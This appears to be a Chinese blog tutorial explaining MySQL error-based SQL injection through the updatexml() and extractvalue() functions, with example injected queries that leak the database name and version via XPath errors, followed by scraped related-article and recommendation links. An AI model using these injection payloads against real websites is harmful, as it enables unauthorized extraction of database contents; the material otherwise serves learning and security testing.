updatexml和extractvalue函数报错注入
updatexml()函数报错注入
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,了解Xpath语法。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
理解就是updatexml函数有查询功能 并且会再xpath处查询。使用语法构造错误 查询的结果已报错的形式显示
-----
select * from articles where id = 1 查找 articles表中id=1的内容
可以省略成 select
-----
报出当前数据库的数据
select * from articles where id = 1 and updatexml(2,database(),1) ;

报出当前数据库名称
select * from articles where id = 1 and updatexml(2,concat(0x3c,database(),0x3c),1);

<cms<
0x3c 16进制字符
select * from articles where id = 1 and updatexml(2,concat(0x7e,database(),0x7e),1);

~cms~
2、1 的文档文件名没有会报错。两个的位置随便替换、或者都是1、2。任意值即可
concat(str1, str2,...) 返回结果是 参数拼接成字符串,没有参数为null,则返回值为null
里面当成sql语句执行从而报出信息.
查询数据库版本
select * from articles where id = 1 and updatexml(2,concat(0x7e,@@version,0x7e),1);

0x7e是链接符号~
只有一个链接字符
select * from articles where id = 1 and updatexml(2,concat(0x7e,@@version),1);

没有也行,就是报错不太准确
select * from articles where id = 1 and updatexml(2,concat(@@version),1);

extractvalue函数报错报错注入
参数:
1 文档名称
0x7e 16进制字符
concat 参数拼接成字符串,里面的sql也会执行
select * from articles where id = 1 and extractvalue(2,concat(0x7e,@@version,0x7e)); select * from articles where id = 1 and extractvalue(2111111, concat(0x7e,@@version,0x7e));

select * from articles where id = 1 and extractvalue(2111111,concat(0x7e,database(),0x7e));

文档参考
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

updatexml和extractvalue函数报错注入的更多相关文章
- MySQL报错注入函数汇总及常用注入语句
版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...
- sql注入 报错注入常用的三种函数
1.floor()函数 报错原因是 报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键 前面说过floor(rand(0)*2) 前六位是0110 ...
- sql报错注入:extractvalue、updatexml报错原理
报错注入:extractvalue.updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue.updatexml 名称 描述 Ext ...
- 深入浅出带你玩转sqlilabs(四)-updatexml(),floor(),extractvalue()报错注入
SQL各种参数类型下的注入测试 数字型-sqlilabs less2 前面文章已演示过 字符型-sqlilabs less1 前面文章已演示过 搜索型-自写测试 如: www.test.com/ind ...
- [极客大挑战 2019]HardSQL updatexml报错注入小结
报错注入链接: https://www.cnblogs.com/richardlee97/p/10617115.html报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,grou ...
- updatexml()报错注入
首先了解下updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为X ...
- [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)
简介 原题复现: 考察知识点:SQL注入(报错注入,绕过过滤) 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...
- oracle报错注入的一些函数
oracle 报错注入 select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum ...
- sql盲注之报错注入(附自动化脚本)
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...
随机推荐
- 技术与艺术的结合,HMS Core让手机主题趣味丛生
在9月23日晚举办的华为nova9系列新品发布会上,华为在发布nova9系列新机之外,还为观众展示了多款Harmony OS趣味主题.其中一款名为"翻滚吧牛奶"的应用主题看起来十分 ...
- 解决 Delegate IDE build/run actions to Maven 编译两次的问题
起因:我的电脑炸了,吸取教训,以后重要的东西千万不要存在C盘,特别是我们 IT 行业的,代码和文档都是一点一点积累的经验.突然没了,总感觉少了点啥,平时我的代码都是放在D盘,但是很多文档放在C盘,导致 ...
- Sentry 监控 - Snuba 数据中台架构简介(Kafka+Clickhouse)
系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps Sentry For ...
- hdu3001(三进制状压)
题目大意: 现在给你一个有n个点和m条边的图,每一条边都有一个费用,每个点不能经过超过两次,求所有点至少遍历一次的最小费用 其中n<=10 m没有明确限制(肯定不会超过1e5) 一看到这个数据范 ...
- Bert文本分类实践(三):处理样本不均衡和提升模型鲁棒性trick
目录 写在前面 缓解样本不均衡 模型层面解决样本不均衡 Focal Loss pytorch代码实现 数据层面解决样本不均衡 提升模型鲁棒性 对抗训练 对抗训练pytorch代码实现 知识蒸馏 防止模 ...
- 数据库已经存在表, django使用inspectdb反向生成model实体类
1.通过inspectdb处理类,可以将现有数据库里的一个或者多个.全部数据库表生成Django model实体类 python manage.py inspectdb --database defa ...
- Python实现九九乘法表
- Web前端安全之安全编码原则
随着Web和移动应用等的快速发展,越来越多的Web安全问题逐渐显示出来.一个网站或一个移动应用,如果没有做好相关的安全防范工作,不仅会造成用户信息.服务器或数据库信息的泄露,更可能会造成用户财产的损失 ...
- Java编程开发学习路线图(附所有免费课程+在线自测)
转自 https://yq.aliyun.com/articles/134286?spm=5176.100239.0.0.1UfveS 摘要: 长期以来,Java一直占据TIOBE编程语言排行版第一 ...
- 对mongo文档的增删改操作
在mongo db 中增加.删除.修改文档有好多方法,这里简单记录一下我所知道的一些方法. 前置条件: 1.创建study数据库 use study; 2.创建persons集合,当第一次向pers ...